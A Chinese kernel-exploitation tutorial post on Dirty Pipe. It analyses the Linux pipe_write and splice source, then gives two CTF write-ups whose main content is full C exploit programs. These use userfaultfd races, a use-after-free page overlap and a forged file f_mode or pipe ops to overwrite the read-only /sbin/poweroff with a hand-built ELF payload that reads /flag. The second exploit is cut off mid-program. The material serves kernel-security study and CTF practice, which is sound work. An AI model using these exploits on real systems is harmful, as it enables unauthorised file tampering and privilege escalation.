kernel从小白到大神(五)-dirty_pipe
前言:本章专门对dirty_pipe分析,源于CVE,但不止步于CVE,附件下载:https://pan.quark.cn/s/b862f8393c18
源码分析
pipe_write
管道的相关文件操作
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
.splice_write = iter_file_splice_write,
};
write
使用的时pipe_write
,处理向管道写入数据的操作,buf->flags
设置为 PIPE_BUF_FLAG_CAN_MERGE
是可以接着末尾写入数据的
大致流程为:
- 当管道非空并且上一个
buffer
未满,并且PIPE_BUF_FLAG_CAN_MERGE
,则写入数据然后退出 - 才会对新的
buffer
写入数据 - 循环第二步直到完成写入,如果管道满了会唤醒读者腾出管道空间
/*iocb 异步I/O控制块,from 输入的迭代器指针*/
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);//统计要写入的大小
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
/* Null write succeeds. */
if (unlikely(total_len == 0))
return 0;
__pipe_lock(pipe);
//没有读者直接退出,默认创建一个读者一个写者
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}
//...
head = pipe->head;//获取队列头
was_empty = pipe_empty(head, pipe->tail);//head== tail
chars = total_len & (PAGE_SIZE-1);
//管道非空,并且上一个buf 没有满
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;//环形缓冲区最后一环
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];//上一个buf
int offset = buf->offset + buf->len;
/*PIPE_BUF_FLAG_CAN_MERGE:是否可以合并 ,并且偏移+写入长度<页大小*/
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);//confirm确认缓冲区状态
if (ret)
goto out;
//从迭代器from 中拷贝数据到 buf->page+offset 处
/*???如果page被修改将任意地址读写*/
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;//更新缓冲区长度
if (!iov_iter_count(from))
goto out;
}
}
//写满last buffer 对应数据后, 接夏利将剩余数据写到后面的buffer 中
for (;;) {
//读者检查
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
//缓冲区没满,继续执行写入操作
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
//如果没有分配页面page则申请page来存储
if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
/* Allocate a slot in the ring in advance and attach an
* empty buffer. If we fault or otherwise fail to use
* it, either the reader will consume it or it'll still
* be there for the next write.
*/
spin_lock_irq(&pipe->rd_wait.lock);//旋转锁
//当缓冲区满时,继续循环等待空闲缓冲区
head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* 设置缓冲区 */
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];//插入buffer array中
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;
//复制整页
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//复制字节小于请求字节数,并且还有数据
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;
if (!iov_iter_count(from))
break;
}
//缓冲区没满,继续写入
if (!pipe_full(head, pipe->tail, pipe->max_usage))
continue;
//...
}
//...
}
splice
常规再内核中读取一个文件然后再输出到另一个文件,需要先读取到用户空间然后再写入到另一个文件,但是这样效率太低。
splice
用于两个文件描述符之间的高效移动数据,就其是在管道和常规文件之间,主要作用实现:零拷贝数据传输,提高数据处理效率。
ssize_t splice(int fdin, off_t *offin, int fdout, off_t *offout, size_t len, unsigned int flags);
/*
fdin:输入文件描述符
offin: 输入偏移量
fdout:输出文件描述符
offout:输出偏移量
len:要传输的字节数
flags:传输标志( SPLICE_F_MOVE 移动、SPLICE_F_NONBLOCK 非阻塞 )
*/
sys_splice
先获取文件结构体,然后调用__do_splice
来进行处理
SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
int, fd_out, loff_t __user *, off_out,
size_t, len, unsigned int, flags)
{
struct fd in, out;
long error;
if (unlikely(!len))//检查len是否为0
return 0;
if (unlikely(flags & ~SPLICE_F_ALL))//是否包含无效flags
return -EINVAL;
error = -EBADF;
in = fdget(fd_in);//获取输入文件结构体
if (in.file) {
out = fdget(fd_out);
if (out.file) {
error = __do_splice(in.file, off_in, out.file, off_out,
len, flags);
fdput(out);//释放文件描述符引用
}
fdput(in);
}
return error;
}
__do_splice()
先判断输入两个文件结构体是否是管道,管道禁止使用偏移量,然后调用do_splice
进行处理
static long __do_splice(struct file *in, loff_t __user *off_in,
struct file *out, loff_t __user *off_out,
size_t len, unsigned int flags)
{
struct pipe_inode_info *ipipe;
struct pipe_inode_info *opipe;
loff_t offset, *__off_in = NULL, *__off_out = NULL;
long ret;
ipipe = get_pipe_info(in, true);//如果in是管道,则返回管道信息
opipe = get_pipe_info(out, true);
if (ipipe && off_in)//是管道就不能提供偏移量
return -ESPIPE;
if (opipe && off_out)
return -ESPIPE;
//如果提供了偏移量
if (off_out) {
if (copy_from_user(&offset, off_out, sizeof(loff_t)))
return -EFAULT;
__off_out = &offset;
}
if (off_in) {
if (copy_from_user(&offset, off_in, sizeof(loff_t)))
return -EFAULT;
__off_in = &offset;
}
ret = do_splice(in, __off_in, out, __off_out, len, flags);
//...
return ret;
}
do_splice()
的操作类型与菜单的操作,提供三种方式:管道->管道,文件->管道,管道->文件
,
重点关注文件到管道
的处理,先计算缓冲区可用空间,然后调用do_splice_to()
long do_splice(struct file *in, loff_t *off_in, struct file *out,
loff_t *off_out, size_t len, unsigned int flags)
{
struct pipe_inode_info *ipipe;
struct pipe_inode_info *opipe;
loff_t offset;
long ret;
//检查mode是否符合读写
if (unlikely(!(in->f_mode & FMODE_READ) ||
!(out->f_mode & FMODE_WRITE)))
return -EBADF;
ipipe = get_pipe_info(in, true);//获取管道信息
opipe = get_pipe_info(out, true);
//管道->管道
if (ipipe && opipe) {
//管道禁止使用偏移量
if (off_in || off_out)
return -ESPIPE;
/* Splicing to self would be fun, but... */
if (ipipe == opipe)
return -EINVAL;
if ((in->f_flags | out->f_flags) & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
//管道到管道
return splice_pipe_to_pipe(ipipe, opipe, len, flags);
}
//管道->文件
if (ipipe) {
if (off_in)
return -ESPIPE;
//获取输出偏移量
if (off_out) {
if (!(out->f_mode & FMODE_PWRITE))
return -EINVAL;
offset = *off_out;
} else {
offset = out->f_pos;
}
//文件不能是追加
if (unlikely(out->f_flags & O_APPEND))
return -EINVAL;
//写区域是否符合
ret = rw_verify_area(WRITE, out, &offset, len);
if (unlikely(ret < 0))
return ret;
//非阻塞模式
if (in->f_flags & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
file_start_write(out);
ret = do_splice_from(ipipe, out, &offset, len, flags);
file_end_write(out);
if (!off_out)
out->f_pos = offset;
else
*off_out = offset;
return ret;
}
//文件->管道
if (opipe) {
if (off_out)
return -ESPIPE;
if (off_in) {
if (!(in->f_mode & FMODE_PREAD))
return -EINVAL;
offset = *off_in;
} else {
offset = in->f_pos;
}
if (out->f_flags & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
pipe_lock(opipe);//管道锁
ret = wait_for_space(opipe, flags);//等待管道空间
if (!ret) {
unsigned int p_space;
//计算管道可用空间p_space 更新len
/* Don't try to read more the pipe has space for. */
p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail);
len = min_t(size_t, len, p_space << PAGE_SHIFT);
ret = do_splice_to(in, &offset, opipe, len, flags);
}
pipe_unlock(opipe);
if (ret > 0)
wakeup_pipe_readers(opipe);
if (!off_in)
in->f_pos = offset;
else
*off_in = offset;
return ret;
}
return -EINVAL;
}
do_splice_to()
进行了一些检查然后调用in->f_op->splice_read()
static long do_splice_to(struct file *in, loff_t *ppos,
struct pipe_inode_info *pipe, size_t len,
unsigned int flags)
{
int ret;
//输入文件是否为读权限
if (unlikely(!(in->f_mode & FMODE_READ)))
return -EBADF;
//验证读区域
ret = rw_verify_area(READ, in, ppos, len);
if (unlikely(ret < 0))
return ret;
//限制读取最大长度
if (unlikely(len > MAX_RW_COUNT))
len = MAX_RW_COUNT;
//指针函数是否存在
if (unlikely(!in->f_op->splice_read))
return warn_unsupported(in, "read");
return in->f_op->splice_read(in, ppos, pipe, len, flags);
}
在file.c
文件中指针被赋值为generic_file_splice_read()
generic_file_splice_read()
,会调用call_read_iter()
,实际调用generic_file_read_iter()
ssize_t generic_file_splice_read(struct file *in, loff_t *ppos,
struct pipe_inode_info *pipe, size_t len,
unsigned int flags)
{
struct iov_iter to;
struct kiocb kiocb;
unsigned int i_head;
int ret;
iov_iter_pipe(&to, READ, pipe, len);//初始化to结构体,缓冲区满时将报错
i_head = to.head;
init_sync_kiocb(&kiocb, in);//初始化I/O控制块
kiocb.ki_pos = *ppos;
ret = call_read_iter(in, &kiocb, &to);//in->read_iter ,执行文件读取
//...
return ret;
}
generic_file_read_iter()
分为两个模式,直接I/O
读取和缓冲区读取,缓冲区读取调用函数generic_file_buffered_read()
ssize_t
generic_file_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
size_t count = iov_iter_count(iter);//获取迭代器数量
ssize_t retval = 0;
if (!count)
goto out; /* skip atime */
//直接进行IO读取
if (iocb->ki_flags & IOCB_DIRECT) {
struct file *file = iocb->ki_filp;//获取文件
struct address_space *mapping = file->f_mapping;//获取空间地址
struct inode *inode = mapping->host;//获取inode
loff_t size;
size = i_size_read(inode);//获取大小
//非阻塞模式
if (iocb->ki_flags & IOCB_NOWAIT) {
//检查是否有页面
if (filemap_range_has_page(mapping, iocb->ki_pos,
iocb->ki_pos + count - 1))
return -EAGAIN;
} else {
//等待输入
retval = filemap_write_and_wait_range(mapping,
iocb->ki_pos,
iocb->ki_pos + count - 1);
if (retval < 0)
goto out;
}
file_accessed(file);
//直接读取
retval = mapping->a_ops->direct_IO(iocb, iter);
if (retval >= 0) {
iocb->ki_pos += retval;
count -= retval;
}
iov_iter_revert(iter, count - iov_iter_count(iter));//更新迭代器
//...
}
//缓冲区读取
retval = generic_file_buffered_read(iocb, iter, retval);
//...
}
generic_file_buffered_read()
,首先会检查一些文件、迭代器的操作,然后循环的page
复制
ssize_t generic_file_buffered_read(struct kiocb *iocb,
struct iov_iter *iter, ssize_t written)
{
struct file *filp = iocb->ki_filp;
struct file_ra_state *ra = &filp->f_ra;
struct address_space *mapping = filp->f_mapping;
struct inode *inode = mapping->host;
struct page *pages_onstack[PAGEVEC_SIZE], **pages = NULL;
unsigned int nr_pages = min_t(unsigned int, 512,
((iocb->ki_pos + iter->count + PAGE_SIZE - 1) >> PAGE_SHIFT) -
(iocb->ki_pos >> PAGE_SHIFT));
int i, pg_nr, error = 0;
bool writably_mapped;
loff_t isize, end_offset;
//检查文件位置是否大于缓冲区最大字节数
if (unlikely(iocb->ki_pos >= inode->i_sb->s_maxbytes))
return 0;
//检查是否在用迭代器
if (unlikely(!iov_iter_count(iter)))
return 0;
//截断迭代器
iov_iter_truncate(iter, inode->i_sb->s_maxbytes);
//如果页大小大于栈的页大小,就申请动态空间
if (nr_pages > ARRAY_SIZE(pages_onstack))
pages = kmalloc_array(nr_pages, sizeof(void *), GFP_KERNEL);
if (!pages) {
pages = pages_onstack;
nr_pages = min_t(unsigned int, nr_pages, ARRAY_SIZE(pages_onstack));
}
do {
cond_resched();
/*
* If we've already successfully copied some data, then we
* can no longer safely return -EIOCBQUEUED. Hence mark
* an async read NOWAIT at that point.
*/
//flags改为非阻塞模式
if ((iocb->ki_flags & IOCB_WAITQ) && written)
iocb->ki_flags |= IOCB_NOWAIT;
i = 0;
//循环页面读取
pg_nr = generic_file_buffered_read_get_pages(iocb, iter,
pages, nr_pages);
if (pg_nr < 0) {
error = pg_nr;
break;
}
isize = i_size_read(inode);
//检查当前位置是否超过文件大小
if (unlikely(iocb->ki_pos >= isize))
goto put_pages;
end_offset = min_t(loff_t, isize, iocb->ki_pos + iter->count);
while ((iocb->ki_pos >> PAGE_SHIFT) + pg_nr >
(end_offset + PAGE_SIZE - 1) >> PAGE_SHIFT)
put_page(pages[--pg_nr]);
writably_mapped = mapping_writably_mapped(mapping);
//标记页面已访问
if (iocb->ki_pos >> PAGE_SHIFT !=
ra->prev_pos >> PAGE_SHIFT)
mark_page_accessed(pages[0]);
for (i = 1; i < pg_nr; i++)
mark_page_accessed(pages[i]);
for (i = 0; i < pg_nr; i++) {
unsigned int offset = iocb->ki_pos & ~PAGE_MASK;
unsigned int bytes = min_t(loff_t, end_offset - iocb->ki_pos,
PAGE_SIZE - offset);
unsigned int copied;
if (writably_mapped)
flush_dcache_page(pages[i]);
//复制页面到迭代器,关键复制函数
copied = copy_page_to_iter(pages[i], offset, bytes, iter);
//更新写入字符数、文件位置
written += copied;
iocb->ki_pos += copied;
ra->prev_pos = iocb->ki_pos;
if (copied < bytes) {
error = -EFAULT;
break;
}
}
//...
}
copy_page_to_iter()
中主要关注到管道的复制,调用copy_page_to_iter_pipe()
size_t copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
//检查page
if (unlikely(!page_copy_sane(page, offset, bytes)))
return 0;
// 块向量(ITER_BVEC) 内核向量(ITER_KVEC)
if (i->type & (ITER_BVEC|ITER_KVEC)) {
void *kaddr = kmap_atomic(page);//映射页面到虚拟内核空间
size_t wanted = copy_to_iter(kaddr + offset, bytes, i);//复制到迭代器
kunmap_atomic(kaddr);//释放映射
return wanted;
} else if (unlikely(iov_iter_is_discard(i)))//迭代器丢失
return bytes;
else if (likely(!iov_iter_is_pipe(i)))
return copy_page_to_iter_iovec(page, offset, bytes, i);//i/o操作
else
return copy_page_to_iter_pipe(page, offset, bytes, i);//迭代器为pipe
}
copy_page_to_iter_pipe()
,在一系列初始化后,会直接把文件的page
赋值到管道的page
上,在pipe
写入调用pipe_write()
的时候,会根据buf->flags
,如果等于PIPE_BUF_FLAG_CAN_MERGE
那么可用直接往page
中写入内容。
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
//请求字符数大于迭代器可用字符数
if (unlikely(bytes > i->count))
bytes = i->count;
//请求字符数为0
if (unlikely(!bytes))
return 0;
//检查迭代器
if (!sanity(i))
return 0;
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//取末缓冲区
if (off) {
//合并缓存区,当偏移量相同,page相同
if (offset == off && buf->page == page) {
/* merge with the last one */
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
i_head++;
buf = &pipe->bufs[i_head & p_mask];//拿出下一个缓冲区
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
buf->ops = &page_cache_pipe_buf_ops;
get_page(page);
buf->page = page;//页直接赋值
buf->offset = offset;
buf->len = bytes;
//buf->flags 未 赋值
pipe->head = i_head + 1;//更新管道头指针
i->iov_offset = offset + bytes;//迭代器偏移和头更新
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
漏洞分析
- 当将整个管道读写了一轮,此时所有的
pipe_buffer
的PIPE_BUF_FLAG_CAN_MERGE
都为true
- 然后利用splice将文件读取到管道上,这时的
pipe_buffer
对应的page
为文件的page
,但是并没有PIPE_BUF_FLAG_CAN_MERGE
标识符并没有被清除,从而会让内核误以为该页面可以被写入 -
splice
建立完页面映射后,环形缓冲区的head会指向下一个pipe_buffer
,当在向管道写入数据的时候,首先会发现上一个pipe_buffer
未满然后会把数据拷贝到文件映射的页面。
利用手法
原理:因为在splice()
调用文件到管道时copy_page_to_iter_pipe()
未对flags进行初始化,并未对page
进行权限赋值,就导致pipe_write
如果flags
为PIPE_BUF_FLAG_CAN_MERGE
就可以进行对只读文件进行写操作。
2024SCTFkno_puts
ioctl可以绕过然后实现两个功能,一个申请,一个释放,申请之后给了object的堆地址,当是在dirty pipe
手法中不需要任何地址
可以用write
写入数据,这里启动文件里面启动了userfaultfd的功能
在内核5.4.272
中缓冲区的合并判断采用ops来判断,不是PIPE_BUF_FLAG_CAN_MERGE
标识符,所以只能采用puaf
来造成page
的重叠
可以使用userfaultfd
造成uaf
,这样就能利用缺页的copy
去对uaf
的object
进行自定义处理,这里写入单字节,因为在pipe中的第一个字段是page,我们需要构造puaf
struct page的大小为0x40
,这个大小刚好被0x1000整除,申请的page位置会为0x00 0x40 0x80 0xc0
,所以只需要覆盖最后一个字节就有3/4的概率完成puaf
下面就是怎么利用puaf,来篡改文件了
在打开一个文件的时候,会从filp_cachep
的cache
中取出专门的object
,为存储file
结构体,当filp_cachep
的object被使用完的时候,就会从伙伴系统中申请新的page
,来划分新的object
,这个时候的page
就有可能会与我们之前构造的puaf
完成重叠,重叠之后就可以使用pipe_write
对file
结构体进行篡改
在file
结构体中,f_mode
控制着文件的权限,我们篡改这个标识符为0x480e801f
,就可以对只读文件进行写入
使用汇编构造出最短的可执行文件读出flag,把二进制写入/sbin/poweroff
文件即可
nasm -f bin -o test test.asm
BITS 64
org 0x400000
ehdr: ; Elf64_Ehdr
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
section .data
str_flag db '/flag',0
section .text
global _start
_start:
mov rdi,str_flag ;open("/flag",0)
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rsi,rax ;senfile(out_fd,in_fd,0,0x100)
xor rdi,rdi
inc rdi
xor rdx,rdx
push 0x100
pop r10
push 40
pop rax
syscall
filesize equ $ - $$
exp
#define _GNU_SOURCE
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);
void mypause();
int dev_fd;
sem_t sem[3];
size_t heap_addr;
#define PIPE_COUNT 0x40
#define PIPE_TAG "mowen123"
#define FILE_SPRAY_COUNT 256
typedef struct __attribute__((aligned(16)))
{
size_t uffd;
struct uffdio_api uapi;
struct uffdio_register uregister;
}reg_user,*p_imgae_reg;
void Register_Userfalutfd(void* addr,size_t length,void* (*handler)(void*)){
YELLOW;printf("Register_Userfalutfd START");CLOSE;
reg_user reguser={0};
p_imgae_reg preg=®user;
preg->uffd=syscall(__NR_userfaultfd,__O_CLOEXEC|O_NONBLOCK);
if(preg->uffd<0){
errExit("__NR_userfaultfd");
}
preg->uapi.api=UFFD_API;
preg->uapi.features=0;
if(ioctl(preg->uffd,UFFDIO_API,&preg->uapi)<0)errExit("ioctl ->UFFDIO_API");
preg->uregister.mode=UFFDIO_REGISTER_MODE_MISSING;
preg->uregister.range.start=addr;
preg->uregister.range.len=length;
if(ioctl(preg->uffd,UFFDIO_REGISTER,&preg->uregister)<0)errExit("ioctl -> UFFDIO_REGISTER");
pthread_t thread;
if(pthread_create(&thread,NULL,handler,(void*)preg->uffd)<0)errExit("pthread_create handler");
YELLOW;printf("Register_Userfalutfd END");CLOSE;
}
void Userfault_Handler(int uffd){
RED;printf("Userfault_Handler START");CLOSE;
struct uffd_msg msg={0};
struct uffdio_copy ufcopy={0};
size_t* data=(size_t*)mmap(NULL,0x1000,3,0x20|0x2,-1,0);
if(data<0)errExit("Userfault_Handler mmap");
*(char*)data=0;
do
{
struct pollfd pf={0};
pf.fd=uffd;
pf.events=POLLIN;
poll(&pf,1,-1);
read(uffd,&msg,sizeof(msg));
if(msg.event<=0){
printf("event NULL");
continue;
}
RED;printf("sem step 0");CLOSE;
sem_post(&sem[0]);
sem_wait(&sem[1]);
RED;printf("sem step 1");CLOSE;
ufcopy.dst=msg.arg.pagefault.address & ~(sysconf(_SC_PAGE_SIZE)-1);
ufcopy.src=data;
ufcopy.len=sysconf(_SC_PAGE_SIZE);
ufcopy.mode=0;
ufcopy.copy = 0;
ioctl(uffd,UFFDIO_COPY,&ufcopy);
sem_post(&sem[2]);
RED;printf("sem step 2");CLOSE;
break;
} while (1);
RED;printf("Userfault_Handler END");CLOSE;
}
int FILE_spary[20];
void add(){
char buf[64]={0};
buf[32]=1;
size_t* ptr=(size_t*)(buf+32);
ptr[0]=1;
ptr[1]=buf;
ioctl(dev_fd,0xFFF0,buf);
}
void del(){
char buf[64]={0};
buf[32]=1;
size_t* ptr=(size_t*)(buf+32);
ptr[0]=1;
ptr[1]=0;
ioctl(dev_fd,0xFFF1,buf);
}
int pipe_fd[PIPE_COUNT][2];
void uaf(){
sem_wait(&sem[0]);
for (size_t i = 0; i < PIPE_COUNT/2; i++)
{
if(pipe(pipe_fd[i])<0)errExit("pipe");
write(pipe_fd[i][1],PIPE_TAG,8);
write(pipe_fd[i][1],&i,8);
write(pipe_fd[i][1],PIPE_TAG,8);
}
del();
for (size_t i = PIPE_COUNT/2; i < PIPE_COUNT; i++)
{
if(pipe(pipe_fd[i])<0)errExit("pipe");
write(pipe_fd[i][1],PIPE_TAG,8);
write(pipe_fd[i][1],&i,8);
write(pipe_fd[i][1],PIPE_TAG,8);
}
sem_post(&sem[1]);
}
const char* FileAttack="/dev/ksctf\0";
int file_fd[FILE_SPRAY_COUNT];
int main(void){
save_status();
BLUE;puts("[*]start");CLOSE;
dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
//初始化信号量
sem_init(&sem[0],0,0);
sem_init(&sem[1],0,0);
sem_init(&sem[2],0,0);
//初始化缺页处理
size_t length=sysconf(_SC_PAGE_SIZE);
size_t map_addr=mmap(0,length,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON,
-1,
0);
Register_Userfalutfd(map_addr,length,Userfault_Handler);
pthread_t pt;
pthread_create(&pt,0,(void* (*)(void*))uaf,0);
//构造缺页报错
add();
write(dev_fd,map_addr,1);
sem_wait(&sem[2]);
size_t pn=-1;
for (size_t i = 0; i < PIPE_COUNT; i++)
{
char buf[0x100]={0};
size_t t=-1;
if( read(pipe_fd[i][0],buf,8) <0 || read(pipe_fd[i][0],&t,8)<0 )
errExit("pipe read");
if( !strncmp(buf,PIPE_TAG,8) && t!=i ){
pn=i;
BLUE; printf("found victim -> %d",pn); CLOSE;
char msg_tag[0x30];
memset(msg_tag,0,sizeof(msg_tag));
strcat(msg_tag,"mowen_victim");
write(pipe_fd[i][1],msg_tag,0x2c);
close(pipe_fd[t][1]);
close(pipe_fd[t][0]);
break;
}
}
if(pn==-1)errExit("not found victim page");
for (size_t i = 0; i < FILE_SPRAY_COUNT; i++)
{
file_fd[i]=open("/sbin/poweroff",0);
if(file_fd[i] <0)errExit("file open failed");
}
int flags = 0x480e801f;
write(pipe_fd[pn][1],&flags,4);
unsigned char shellcode[] =
{0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xbf,0xa8,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xf6,0x48,0x31,0xd2,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x48,0x89,0xc6,0x48,0x31,0xff,0x48,0xff,0xc7,0x48,0x31,0xd2,0x68,0x00,0x01,0x00,0x00,0x41,0x5a,0x6a,0x28,0x58,0x0f,0x05,0x00,0x2f,0x66,0x6c,0x61,0x67,0x00}
;
for (size_t i = 0; i < FILE_SPRAY_COUNT; i++)
{
if( write(file_fd[i],shellcode,sizeof(shellcode)) >0){
GREEN; printf("change successful");CLOSE;
break;
}
}
BLUE;puts("[*]end");CLOSE;
return 0;
}
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
void getshell(void)
{
BLUE;printf("[*]Successful");CLOSE;
system("/bin/sh");
}
void _showAddr(char*name,size_t data){
GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
RED;printf("[X] Error : %s !",msg);CLOSE;
exit(-1);
}
2024网鼎杯玄武组pwn3
直接白给的uaf
read、write全有,直接可对uaf的object进行操作
符号地址可读,直接读取kallsyms
就可以拿到基地址,使用dirty pipe
手法修改/sbin/poweroff
查看4.9.337
源码发现融合条件为ops
,就需要去伪造ops
表了,或者篡改为已知的ops
上can_merge
为true
调试发现在原先的pipe_buffer
带的ops
的can_merge
为true
,泄露出来这个地址然后篡改后面splice传进来的ops就行,len和offset全部改为0
篡改后可以merge
然后篡改只读/sbin/poweroff
文件
退出拿到flag
exp
#define _GNU_SOURCE
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);
void mypause();
int dev_fd;
const char* FileAttack="/dev/easy\0";
#define PIPE_SPARY_COUNT 0x40
#define PIPE_TAG "mowen123"
#define PIPE_STRUCT_SIZE 40
int pipe_fd[PIPE_SPARY_COUNT][2];
void add(int size) {
ioctl(dev_fd, 0, size);
}
void dele() {
ioctl(dev_fd, 1, 0);
}
int main(void){
save_status();
BLUE;puts("[*]start");CLOSE;
